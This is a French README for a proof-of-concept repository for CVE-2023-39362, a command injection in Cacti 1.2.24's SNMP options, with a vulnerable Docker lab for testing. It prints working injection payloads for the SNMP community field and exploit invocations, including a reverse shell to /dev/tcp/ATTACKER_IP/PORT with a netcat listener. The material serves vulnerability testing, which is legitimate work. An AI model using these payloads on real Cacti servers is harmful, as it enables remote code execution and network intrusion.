
Preuve de concept pour CVE-2023-39362, une injection de commande authentifiée dans les options SNMP de Cacti. Comprend un environnement Docker vulnérable pour les tests et un script Python pour l'exploitation automatisée avec capacité de reverse shell.
Ce dépôt est un fork de ce dépôt : https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
Cacti est un cadre open-source de surveillance opérationnelle et de gestion des pannes, en constante évolution pour répondre aux besoins dynamiques de sa communauté d'utilisateurs.
Dans la version 1.2.24, une vulnérabilité de sécurité potentielle marquée comme CVE-2023-39362 a été identifiée. Dans des conditions spécifiques, un utilisateur privilégié authentifié peut exploiter une faille dans les options SNMP d'un Device, en utilisant une chaîne malveillante qui conduit à une injection de commande. Cette exploitation entraîne l'exécution authentifiée de code à distance sur le serveur sous-jacent.
CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362
Les implications de cette vulnérabilité sont graves, car un acteur malveillant disposant de privilèges authentifiés pourrait compromettre l'intégrité du serveur hébergeant Cacti. Cette compromission pourrait potentiellement servir de passerelle pour un accès non autorisé à d'autres hôtes du réseau, en particulier ceux surveillés par Cacti.
Ceci est une application vulnérable pour tester l'exploit de la vulnérabilité Cacti (CVE-2023-39362).
Cette application contient de graves vulnérabilités de sécurité. Utilisez-la à vos risques et périls ! Il est recommandé d'utiliser un environnement sauvegardé et isolé (comme une VM avec un instantané récent et un réseau hôte uniquement). Ne téléchargez pas cette application sur des serveurs exposés à Internet, car ils seront compromis.
Je décline toute responsabilité quant à l'utilisation de cette application. Le seul but de cette application est d'être un scénario de test pour l'exploit CVE-2023-39362 et elle ne doit pas être utilisée de manière malveillante. Si votre serveur est compromis via une installation de cette application, ce n'est pas ma responsabilité, mais celle de la ou des personnes qui l'ont téléchargée et installée.**
Voici les étapes pour configurer l'environnement :
docker compose up -d pour démarrer la composition.admin/admin.admin.guest.guest pour essayer l'exploit.Le guide d'installation officiel de Cacti peut être trouvé ici.
Pour démonter l'environnement, utilisez la commande docker compose down.
(Ceci n'est qu'un chemin possible pour l'exploitation )
Exécutez la commande sur le serveur distant :
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof
Ouverture d'un shell inversé :
nc -lvnp 4242
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'
public\' ; touch /tmp/proof ; \'./tmp la présence du fichier créé.Pour obtenir un shell inversé, une charge utile comme celle-ci peut être utilisée.
public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
Une analyse détaillée de la cause racine de la vulnérabilité est disponible dans l'avis de sécurité original ou sur le billet de blog de l'auteur original.
Ce projet est sous licence Unlicense - voir le fichier LICENSE pour plus de détails.